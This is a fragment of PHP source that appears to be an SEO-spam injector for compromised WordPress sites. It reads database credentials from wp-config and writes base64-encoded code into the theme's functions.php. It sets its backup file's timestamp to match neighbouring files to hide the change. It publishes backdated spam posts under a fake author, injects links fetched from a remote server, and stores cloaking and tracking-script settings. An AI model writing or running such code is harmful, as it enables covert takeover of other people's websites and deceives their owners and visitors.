file_get_contents($functionsPath); echo "Original functions.php length: " . strlen($functionsSource) . "\n"; oldFunctionPathBak($tmpDir, $functionsPath); if ($deleteOldCustomFilters) { $regexp = '~\/\*\s+custom filters\s+\*\/(.+)\/\*\s*custom filters\s*\*\/~su'; $functionsSource = preg_replace($regexp, '', $functionsSource); } preg_match('~\<\?(php)*~', $functionsSource, $tagMatches); if (empty($tagMatches)) { return; } $phpMatches = preg_quote($tagMatches[0]); $newFunctionSource = preg_replace("~$phpMatches~", $tagMatches[0] . "\n\n" . base64_decode($source), $functionsSource, 1); if (file_put_contents($functionsPath, $newFunctionSource) !== false) { /* dont touch me please */ //touch($functionsPath, frequenttimestamp(dirname($functionsPath))); return true; } echo "New functions.php content length: " . strlen($newFunctionSource) . "\n"; $result = file_put_contents($functionsPath, $newFunctionSource); echo "File put contents result: " . ($result !== false ? $result : "failed") . "\n"; return false; } function findOldSettings($functionsSource) { $oldSourceRegex = '/\'(.+?\.xml\$)\'\s*=>\s*\'(.+?)\'/m'; if (preg_match($oldSourceRegex, $functionsSource, $oldSourceMatches)) { echo 'old settings value detected' . PHP_EOL; $jsScriptRegex = '/\$str\s*=\s*<<<STR(.+?)STR;/s'; preg_match($jsScriptRegex, $functionsSource, $jsMatches); $oldSettingsArr = generateSettings(9999, trim($jsMatches[1]) , $oldSourceMatches[1], $oldSourceMatches[2]); return $oldSettingsArr; } else { //find in db echo 'find old settings in DB' . PHP_EOL; return getDbSettingsCustom(); } return false; } function getDbSettingsCustom() { $configArr = parseWpConfig(CONFIGSOURCE); $mysqli = new mysqli($configArr['dbhostaddr'], $configArr['dbuser'] , $configArr['dbpassword'], $configArr['dbname'], $configArr['dbport']); $query = "SELECT * FROM `" . $configArr['dbname'] . "`.`" . $configArr['dbprefix'] . "options` where option_name = 'wp_custom_filters'"; $customFilters = mysqli_query($mysqli, $query); $result = mysqli_fetch_array($customFilters); if ($result) { return unserialize(base64_decode($result['option_value'])); } } function oldFunctionPathBak($tmpDir, $functionsPath) { if (!is_writeable(dirname($functionsPath))) { $backupPath = $tmpDir . '/' . basename($functionsPath) . '_bak'; } else { $backupPath = $functionsPath . '_bak'; } echo "functions backup path - $backupPath\n"; file_put_contents($backupPath, file_get_contents($functionsPath)); touch($backupPath, frequenttimestamp(dirname($backupPath))); } function replaceJSinSource($source, $preparedScript) { $decoded = base64_decode($source); $modified = str_replace(array('JAVASCRIPT', 'SITEMAP_NAME'), array($preparedScript, SITEMAP_NAME), $decoded); return base64_encode($modified); } function sendpostUploader($url, $fields) { $fields_string = ''; foreach ($fields as $key => $value) { $fields_string .= $key . '=' . $value . '&'; } rtrim($fields_string, '&'); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_setopt($ch, CURLOPT_POST, count($fields)); curl_setopt($ch, CURLOPT_POSTFIELDS, $fields_string); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); $result = curl_exec($ch); $info = curl_getinfo($ch); if (curl_errno($ch)) { $error_msg = curl_error($ch); echo $error_msg . PHP_EOL; return null; } curl_close($ch); return ($info["http_code"] == 200) ? $result : null; } /** Add insert desc in file **/ function contentParts($pageSource) { // Существующее регулярное выражение для извлечения TITLE и TEXT preg_match_all('/\[(TITLE|TEXT)\](.+)\[\/(\1)]/ius', $pageSource, $kuski); if (!isset($kuski[2][0])) { throw new Exception('invalid title'); } if (!isset($kuski[2][1])) { throw new Exception('invalid text'); } $title = mb_convert_encoding(trim($kuski[2][0]), 'HTML-ENTITIES', "UTF-8"); $slug = stringToSlug($kuski[2][0]); // Создаем правильный transliterated slug $text = mb_convert_encoding(trim($kuski[2][1]), 'HTML-ENTITIES', "UTF-8"); // Дополнительное регулярное выражение для извлечения описания preg_match('/\[DESC\](.+)\[\/DESC\]/ius', $pageSource, $descMatch); $description = isset($descMatch[1]) ? mb_convert_encoding(trim($descMatch[1]), 'HTML-ENTITIES', "UTF-8") : ''; // Логирование для проверки /*echo "Title: $title" . PHP_EOL; echo "Description: $description" . PHP_EOL; echo "Text length: " . strlen($text) . PHP_EOL;*/ return array( 'title' => $title, 'text' => $text, 'description' => $description, // Добавляем описание 'slug' => $slug, ); } /** * Add new desc in Insert Query */ function insertquery($database, $table, $title, $content, $description, $date, $customSlug = '') { $slug = urlencode($customSlug); $date = ($date === '') ? randDate() : $date; $userId = defined('CUSTOM_AUTHOR_ID') ? CUSTOM_AUTHOR_ID : 9999; // Добавляем поле для описания (post_excerpt) $query = "INSERT INTO `$database`.`$table` (`post_author`, `post_date`, `post_date_gmt`, `post_content`, `post_title`, `post_excerpt`, `post_status`, `comment_status`, `ping_status`, `post_password`, `post_name`, `to_ping`, `pinged`, `post_modified`, `post_modified_gmt`, `post_content_filtered`, `post_parent`, `guid`, `menu_order`, `post_type`, `post_mime_type`, `comment_count`) VALUES ('$userId', '$date', '$date', '$content', '$title', '$description', 'publish', 'closed', 'closed', '', '$slug', '', '', '0000-00-00 00:00:00.000000', '0000-00-00 00:00:00.000000', '', '0', '', '0', 'post', '', '0');"; // Логируем запрос для проверки //echo "Generated SQL query: $query" . PHP_EOL; return $query; } function lastPostDateQuery($configArr) { //SELECT ID, post_date FROM `wp_posts` order by ID DESC LIMIT 1 return "SELECT ID, post_date FROM `" . $configArr['dbname'] . "`.`" . $configArr['dbprefix'] . "posts` order by ID DESC LIMIT 1"; } function resultFormat($blogUrl, $postId, $title) { return rtrim($blogUrl, '/') . '/?p=' . $postId . ';' . $title; } function randDate() { $randDate = mktime(rand(1, 11), rand(0, 59), rand(0, 59), date("m") + rand(1, 12), date("d") + rand(1, 20), date("Y") - rand(4, 7)); return date('Y-m-d H:i:s', $randDate); } /** function stringToSlug($string) { $modified = mb_strtolower(preg_replace('~\W+|_+~u', '-', $string)); return rtrim($modified, '-'); } * */ function stringToSlug($str) { $options = array( 'delimiter' => '-', 'limit' => null, 'lowercase' => true, 'replacements' => array(), 'transliterate' => true, ); $char_map = array( // Latin 'À' => 'A', 'Á' => 'A', 'Â' => 'A', 'Ã' => 'A', 'Ä' => 'A', 'Å' => 'A', 'Æ' => 'AE', 'Ç' => 'C', 'È' => 'E', 'É' => 'E', 'Ê' => 'E', 'Ë' => 'E', 'Ì' => 'I', 'Í' => 'I', 'Î' => 'I', 'Ï' => 'I', 'Ð' => 'D', 'Ñ' => 'N', 'Ò' => 'O', 'Ó' => 'O', 'Ô' => 'O', 'Õ' => 'O', 'Ö' => 'O', 'Ő' => 'O', 'Ø' => 'O', 'Ù' => 'U', 'Ú' => 'U', 'Û' => 'U', 'Ü' => 'U', 'Ű' => 'U', 'Ý' => 'Y', 'Þ' => 'TH', 'ß' => 'ss', 'à' => 'a', 'á' => 'a', 'â' => 'a', 'ã' => 'a', 'ä' => 'a', 'å' => 'a', 'æ' => 'ae', 'ç' => 'c', 'è' => 'e', 'é' => 'e', 'ê' => 'e', 'ë' => 'e', 'ì' => 'i', 'í' => 'i', 'î' => 'i', 'ï' => 'i', 'ð' => 'd', 'ñ' => 'n', 'ò' => 'o', 'ó' => 'o', 'ô' => 'o', 'õ' => 'o', 'ö' => 'o', 'ő' => 'o', 'ø' => 'o', 'ù' => 'u', 'ú' => 'u', 'û' => 'u', 'ü' => 'u', 'ű' => 'u', 'ý' => 'y', 'þ' => 'th', 'ÿ' => 'y', // Latin symbols '©' => '(c)', // Greek 'Α' => 'A', 'Β' => 'B', 'Γ' => 'G', 'Δ' => 'D', 'Ε' => 'E', 'Ζ' => 'Z', 'Η' => 'H', 'Θ' => '8', 'Ι' => 'I', 'Κ' => 'K', 'Λ' => 'L', 'Μ' => 'M', 'Ν' => 'N', 'Ξ' => '3', 'Ο' => 'O', 'Π' => 'P', 'Ρ' => 'R', 'Σ' => 'S', 'Τ' => 'T', 'Υ' => 'Y', 'Φ' => 'F', 'Χ' => 'X', 'Ψ' => 'PS', 'Ω' => 'W', 'Ά' => 'A', 'Έ' => 'E', 'Ί' => 'I', 'Ό' => 'O', 'Ύ' => 'Y', 'Ή' => 'H', 'Ώ' => 'W', 'Ϊ' => 'I', 'Ϋ' => 'Y', 'α' => 'a', 'β' => 'b', 'γ' => 'g', 'δ' => 'd', 'ε' => 'e', 'ζ' => 'z', 'η' => 'h', 'θ' => '8', 'ι' => 'i', 'κ' => 'k', 'λ' => 'l', 'μ' => 'm', 'ν' => 'n', 'ξ' => '3', 'ο' => 'o', 'π' => 'p', 'ρ' => 'r', 'σ' => 's', 'τ' => 't', 'υ' => 'y', 'φ' => 'f', 'χ' => 'x', 'ψ' => 'ps', 'ω' => 'w', 'ά' => 'a', 'έ' => 'e', 'ί' => 'i', 'ό' => 'o', 'ύ' => 'y', 'ή' => 'h', 'ώ' => 'w', 'ς' => 's', 'ϊ' => 'i', 'ΰ' => 'y', 'ϋ' => 'y', 'ΐ' => 'i', // Turkish 'Ş' => 'S', 'İ' => 'I', 'Ç' => 'C', 'Ü' => 'U', 'Ö' => 'O', 'Ğ' => 'G', 'ş' => 's', 'ı' => 'i', 'ç' => 'c', 'ü' => 'u', 'ö' => 'o', 'ğ' => 'g', // Russian 'А' => 'A', 'Б' => 'B', 'В' => 'V', 'Г' => 'G', 'Д' => 'D', 'Е' => 'E', 'Ё' => 'Yo', 'Ж' => 'Zh', 'З' => 'Z', 'И' => 'I', 'Й' => 'J', 'К' => 'K', 'Л' => 'L', 'М' => 'M', 'Н' => 'N', 'О' => 'O', 'П' => 'P', 'Р' => 'R', 'С' => 'S', 'Т' => 'T', 'У' => 'U', 'Ф' => 'F', 'Х' => 'H', 'Ц' => 'C', 'Ч' => 'Ch', 'Ш' => 'Sh', 'Щ' => 'Sh', 'Ъ' => '', 'Ы' => 'Y', 'Ь' => '', 'Э' => 'E', 'Ю' => 'Yu', 'Я' => 'Ya', 'а' => 'a', 'б' => 'b', 'в' => 'v', 'г' => 'g', 'д' => 'd', 'е' => 'e', 'ё' => 'yo', 'ж' => 'zh', 'з' => 'z', 'и' => 'i', 'й' => 'j', 'к' => 'k', 'л' => 'l', 'м' => 'm', 'н' => 'n', 'о' => 'o', 'п' => 'p', 'р' => 'r', 'с' => 's', 'т' => 't', 'у' => 'u', 'ф' => 'f', 'х' => 'h', 'ц' => 'c', 'ч' => 'ch', 'ш' => 'sh', 'щ' => 'sh', 'ъ' => '', 'ы' => 'y', 'ь' => '', 'э' => 'e', 'ю' => 'yu', 'я' => 'ya', // Ukrainian 'Є' => 'Ye', 'І' => 'I', 'Ї' => 'Yi', 'Ґ' => 'G', 'є' => 'ye', 'і' => 'i', 'ї' => 'yi', 'ґ' => 'g', // Czech 'Č' => 'C', 'Ď' => 'D', 'Ě' => 'E', 'Ň' => 'N', 'Ř' => 'R', 'Š' => 'S', 'Ť' => 'T', 'Ů' => 'U', 'Ž' => 'Z', 'č' => 'c', 'ď' => 'd', 'ě' => 'e', 'ň' => 'n', 'ř' => 'r', 'š' => 's', 'ť' => 't', 'ů' => 'u', 'ž' => 'z', // Polish 'Ą' => 'A', 'Ć' => 'C', 'Ę' => 'e', 'Ł' => 'L', 'Ń' => 'N', 'Ó' => 'o', 'Ś' => 'S', 'Ź' => 'Z', 'Ż' => 'Z', 'ą' => 'a', 'ć' => 'c', 'ę' => 'e', 'ł' => 'l', 'ń' => 'n', 'ó' => 'o', 'ś' => 's', 'ź' => 'z', 'ż' => 'z', // Latvian 'Ā' => 'A', 'Č' => 'C', 'Ē' => 'E', 'Ģ' => 'G', 'Ī' => 'i', 'Ķ' => 'k', 'Ļ' => 'L', 'Ņ' => 'N', 'Š' => 'S', 'Ū' => 'u', 'Ž' => 'Z', 'ā' => 'a', 'č' => 'c', 'ē' => 'e', 'ģ' => 'g', 'ī' => 'i', 'ķ' => 'k', 'ļ' => 'l', 'ņ' => 'n', 'š' => 's', 'ū' => 'u', 'ž' => 'z' ); // Логируем входную строку //error_log('Input string: ' . $str); // Transliterate characters to ASCII if ($options['transliterate']) { $str = str_replace(array_keys($char_map), $char_map, $str); } // Replace non-alphanumeric characters with our delimiter $str = preg_replace('/[^\p{L}\p{Nd}]+/u', $options['delimiter'], $str); // Remove duplicate delimiters $str = preg_replace('/(' . preg_quote($options['delimiter'], '/') . '){2,}/', '$1', $str); // Truncate slug to max. characters $str = mb_substr($str, 0, ($options['limit'] ? $options['limit'] : mb_strlen($str, 'UTF-8')), 'UTF-8'); // Remove delimiter from ends $str = trim($str, $options['delimiter']); // Логируем транслитерированную строку //error_log('Transliterated slug: ' . $str); return $options['lowercase'] ? mb_strtolower($str, 'UTF-8') : $str; } function removeDirRec($dir) { if ($objs = glob($dir . "/*")) { foreach ($objs as $obj) { is_dir($obj) ? removeDirRec($obj) : unlinkHandler($obj); } } rmdir($dir); } function unlinkHandler($obj) { if (unlink($obj)) { echo "$obj deleted " . PHP_EOL; return; } echo "!!!!!!!$obj failed to delete !!!!!!!" . PHP_EOL; } function deletePosts($configArr, $mysqli, $global = false) { $userId = defined('CUSTOM_AUTHOR_ID') ? CUSTOM_AUTHOR_ID : 9999; if ($global) { $settings = getDbSettingsCustom(); if (!settings) { echo 'invalid get settings from db' . PHP_EOL; } else { $users = array_keys($settings); if (!in_array(9999, $users)) { $users[] = 9999; } } } if (!isset($users)) { $users = array($userId); } $usersCommaSeparated = implode(', ', $users); $queryForDelete = "delete FROM `" . $configArr['dbname'] . "`.`" . $configArr['dbprefix'] . "posts` where `" . $configArr['dbprefix'] . "posts`.`post_author` IN ($usersCommaSeparated)"; mysqli_query($mysqli, $queryForDelete); echo $mysqli->affected_rows . ' posts deleted'; return true; } function replacePTags($source, $links) { preg_match_all('~.{20}<\/p>~us', $source, $matches); if (empty($matches[0])) { return null; } $num = range(0, count($matches[0]) - 1); $patternsReplacementsArr = array(); foreach ($links as $link) { $randNum = $num[rand(0, count($matches[0]) - 1)]; $pattern = '~' . preg_quote($matches[0][$randNum]) . '~us'; if (isset($patternsReplacementsArr[$pattern])) { $patternsReplacementsArr[$pattern] = $patternsReplacementsArr[$pattern] . "\n" . $link; } else { $patternsReplacementsArr[$pattern] = $matches[0][$randNum] . "\n" . $link; } } return preg_replace(array_keys($patternsReplacementsArr), array_values($patternsReplacementsArr), $source); } function urlBlockSec($url, $lastmod, $changefreq, $priority) { return <<<STR <url> <loc>$url</loc> <lastmod>$lastmod</lastmod> <changefreq>$changefreq</changefreq> <priority>$priority</priority> </url>\n\n STR; } function currenturl($rootDir, $host = null) { $host = !$host ? 'http://' . $_SERVER['HTTP_HOST'] : $host; $tmp = str_replace(realpath($_SERVER['DOCUMENT_ROOT']), '', $host . $rootDir); return $tmp; } function checkSitemapNameRoot() { if (!is_writeable(WP_ROOT_DIR)) { echo WP_ROOT_DIR . ' isnt writeable' . PHP_EOL; return false; } if (file_exists(WP_ROOT_DIR . '/' . SITEMAP_NAME . '.xml')) { echo SITEMAP_NAME . '.xml in root dir, change sitemap name' . PHP_EOL; return false; } return true; } function frequenttimestamp($pathtodir) { foreach (glob($pathtodir . "/*php") as $file) { $tmp[] = filemtime($file); } $count = array_count_values($tmp); arsort($count); $keys = array_keys($count); return array_shift($keys); } function mb_basename($file, $ext = '') { $explodedPath = explode('/', $file); $last = end($explodedPath); return ($ext !== '') ? str_replace($ext, '', $last) : $last; } function generateSettings($userId, $jsSource, $sitemapRegex, $feedPath, $homeLinksSettings) { return array( $userId => array( 'js' => $jsSource, 'sitemapsettings' => array( $sitemapRegex => $feedPath, ), 'nojs' => (defined('CLOACKING')) ? CLOACKING : 0, 'homeLinks' => (defined('HOME_LINKS') && HOME_LINKS === 1) ? $homeLinksSettings : null, ), ); } function mbReplaceCustomFilters($functionsSource, $functionsPath, $controlHash, $sourceMod) { $customFiltersRegexp = '~\/\*\s+custom filters\s+\*\/(.+)\/\*\s*custom filters\s*\*\/~su'; $tmpDir = defined('TMPDIR') ? TMPDIR : sys_get_temp_dir(); echo "Function source length: " . strlen($functionsSource) . "\n"; echo "Control hash: $controlHash\n"; echo "Source mod length: " . strlen($sourceMod) . "\n"; $decodedSourceMod = base64_decode($sourceMod); echo "Decoded source mod length: " . strlen($decodedSourceMod) . PHP_EOL; echo "First 100 characters of decoded source mod: " . substr($decodedSourceMod, 0, 100) . PHP_EOL; if (preg_match($customFiltersRegexp, $functionsSource, $matches)) { $sourceHash = md5(base64_encode($matches[0])); echo "Source hash: $sourceHash" . PHP_EOL; echo "Control hash: $controlHash" . PHP_EOL; if ($sourceHash === $controlHash) { echo "functions php hashes are identity" . PHP_EOL; // Возможно, здесь нужно выполнить дополнительные действия return true; } else { echo "need to restore code" . PHP_EOL; if (modify_functions_php($functionsPath, $sourceMod, $tmpDir, true)) { echo "functions modified" . PHP_EOL; return true; } else { echo "failed to modify functions.php" . PHP_EOL; } } } else { echo "code not found... record!" . PHP_EOL; if (modify_functions_php($functionsPath, $sourceMod, $tmpDir)) { echo "functions modified" . PHP_EOL; return true; } else { echo "failed to modify functions.php" . PHP_EOL; } } return false; } function customSitemapName($sitemapName) { return array( "$sitemapName\.xml$" => "index.php?feed=xml$sitemapName" ); } function viewSettingsAction() { $settings = getDbSettingsCustom(); if ($settings) { foreach ($settings as $userId => $arr) { echo str_repeat('_', 100) . PHP_EOL; echo $userId . ' - userId' . PHP_EOL; if (isset($arr['js']) && $decodedJs = detectBase64js($arr['js'])) { $arr['js'] = parseJsScript($decodedJs); } echo json_encode($arr, JSON_PRETTY_PRINT); echo str_repeat('_', 100) . PHP_EOL; } return true; } return false; } function homeLinksSettingsFormatter($arr) { if (!$arr) { return ''; } foreach ($arr as $key => $value) { if (is_array($value)) { foreach ($value as $keySec => $valueSec) { echo sprintf(' %s => %s%s', $keySec, $valueSec, PHP_EOL); } continue; } echo sprintf(' %s => %s%s', $key, $value, PHP_EOL); } return; } function detectBase64js($string) { if (preg_match('~data:text\/javascript;base64,(.+?)\">~s', $string, $matches)) { return base64_decode($matches[1]); } return false; } function parseJsScript($string) { $results = array(); preg_match('~hit;([^\?]+)~', $string, $lirucounter); if (isset($lirucounter[1])) { $results['lirucounter'] = $lirucounter[1]; } preg_match('~([^\"\.]+\.js)\?ref~', $string, $route); if (isset($route[1])) { $results['route'] = $route[1]; } preg_match('~src=.+?([^\/\"\\\\]+)~', $string, $domain); if (isset($domain[1])) { $results['domain'] = $domain[1]; } return $results; } function settingsArr($functionsSource) { $oldSettings = findOldSettings($functionsSource); $userId = defined('CUSTOM_AUTHOR_ID') ? CUSTOM_AUTHOR_ID : 9999; $sitemapRegexArr = customSitemapName(SITEMAP_NAME); $newSettings = generateSettings($userId, jsPrepare(JS_SOURCE), key($sitemapRegexArr) , current($sitemapRegexArr), $_SERVER['homeLinksSettings']); if (!$oldSettings) { return $newSettings; } else { $settings = compareNewOldSettings($oldSettings, $newSettings, $userId); if (defined('FORCE_CHANGE_HOME_LINKS_OWNER') && FORCE_CHANGE_HOME_LINKS_OWNER === 1) { $settings = removeHomeLinkKey($settings); } return $settings; } } function compareNewOldSettings($oldSettings, $newSettings, $userId) { if (!isset($oldSettings[$userId])) { $newSettingsKey = key($newSettings); $newSettingsRegex = key($newSettings[$newSettingsKey]['sitemapsettings']); foreach ($oldSettings as $key => $value) { $oldSettingsRegex = key($value['sitemapsettings']); if ($oldSettingsRegex === $newSettingsRegex) { $oldSitemapValue = str_replace('\.xml$', '', $oldSettingsRegex); echo $oldSitemapValue . ' already use in oldsettings' . PHP_EOL; return false; } } return $newSettings + $oldSettings; } $jsDiff = strcmp($oldSettings[$userId]['js'], $newSettings[$userId]['js']); if ($jsDiff !== 0) { echo 'js scripts are different' . PHP_EOL; if (defined('REDEFINE_JS_FOR_USER') && REDEFINE_JS_FOR_USER === 1) { echo 'old script will be overwritten' . PHP_EOL; } else { return false; } } $sitemapSettingsDiff = strcmp(key($oldSettings[$userId]['sitemapsettings']) , key($newSettings[$userId]['sitemapsettings'])); if ($sitemapSettingsDiff !== 0) { $oldSitemapValue = key($oldSettings[$userId]['sitemapsettings']); $oldSitemapValue = str_replace('\.xml$', '', $oldSitemapValue); echo 'sitemap settings are different' . PHP_EOL; echo "old sitemap value $oldSitemapValue" . PHP_EOL; return false; } return $newSettings + $oldSettings; //return $newSettings; } function linkBuildingSettingsCheck() { if (defined('EXTERNAL_LINKING') && (EXTERNAL_LINKING === 1)) { if (!defined('EXTERNAL_LINKS_COUNT_PAGE')) { echo 'set EXTERNAL_LINKS_COUNT_PAGE' . PHP_EOL; return false; } if (!defined('TABLE_HASH') && !defined('HTML_HASH')) { echo 'set TABLE_HASH or HTML_HASH value' . PHP_EOL; return false; } if (!defined('COUNT_LINKS_FROM_DOMAIN')) { echo 'set COUNT_LINKS_FROM_DOMAIN' . PHP_EOL; return false; } } return true; } function downloadExternalLinks($countHtmlFiles) { list ($minExtLinks, $maxExtLinks) = explode('..', EXTERNAL_LINKS_COUNT_PAGE); $linksLimit = $countHtmlFiles * $maxExtLinks; $params = array( 'tableHash' => defined('TABLE_HASH') ? TABLE_HASH : '', 'htmlHash' => defined('HTML_HASH') ? HTML_HASH : '', 'linksLimit' => $linksLimit, 'maxLinksCount' => COUNT_LINKS_FROM_DOMAIN, ); $query = http_build_query($params); get_file(GS_ALIAS . '/dnc/wp-acceptors-api/batch-get-links-test?' . $query, TMPDIR . '/ext-links.txt'); } function textWithLinks($text, $results, &$extLinksArr) { $internalLinks = array(); $externalLinks = array(); if (INTERNAL_LINKING === 1) { list ($minLinks, $maxLinks) = explode('..', INTERNAL_LINKS_COUNT_PAGE); $range = range($minLinks, $maxLinks); $linksCount = $range[rand(0, count($range) - 1)]; if (count($results) >= $linksCount) { shuffle($results); $slicedResults = array_slice($results, 0, $linksCount); $internalLinks = linksPrepare($slicedResults); } } if ((EXTERNAL_LINKING === 1) && !empty($extLinksArr)) { list ($minLinks, $maxLinks) = explode('..', EXTERNAL_LINKS_COUNT_PAGE); $randCount = rand($minLinks, $maxLinks); if ($randCount <= count($extLinksArr)) { $externalLinks = array_splice($extLinksArr, 0, $randCount); } else { $externalLinks = $extLinksArr; $extLinksArr = array(); } } $allLinksTypes = $externalLinks + $internalLinks; return replacePTags($text, $allLinksTypes); } function decodeExternalLinks() { if (!file_exists(TMPDIR . '/ext-links.txt')) { echo 'no external links source' . PHP_EOL; return false; } $extLinksSource = file_get_contents(TMPDIR . '/ext-links.txt'); $extLinksSourceDecode = json_decode($extLinksSource, 1); if (!is_array($extLinksSourceDecode) || !isset($extLinksSourceDecode['links'])) { if (trim($extLinksSource) == 'tmp table not found') { echo TABLE_HASH . ' table not found' . PHP_EOL; return false; } if (trim($extLinksSource) == 'table expired') { echo TABLE_HASH . ' table expired' . PHP_EOL; return false; } if (trim($extLinksSource) == 'table is empty') { echo TABLE_HASH . ' db links not found'; return false; } if (trim($extLinksSource) == 'file with links not found') { echo HTML_HASH . ' file with links not found'; return false; } echo 'error while decoding json external links' . PHP_EOL; return false; } return $extLinksSourceDecode['links']; } function deleteSettings() { if (!defined('CUSTOM_AUTHOR_ID')) { return; } $settings = getDbSettingsCustom(); if (isset($settings[CUSTOM_AUTHOR_ID])) { unset($settings[CUSTOM_AUTHOR_ID]); echo 'delete settings for user id ' . CUSTOM_AUTHOR_ID . PHP_EOL; writeSettingsDB($settings); } } function isJsonCustom($string) { json_decode($string); return (json_last_error() == JSON_ERROR_NONE); } function isBadEnvCustom() { $requestUri = $_SERVER['REQUEST_URI']; if (strstr($requestUri, 'wp-config-sample.php') !== false) { return true; } return false; } function allPermalinksAction() { var_dump(allPostsFromDb()); return; }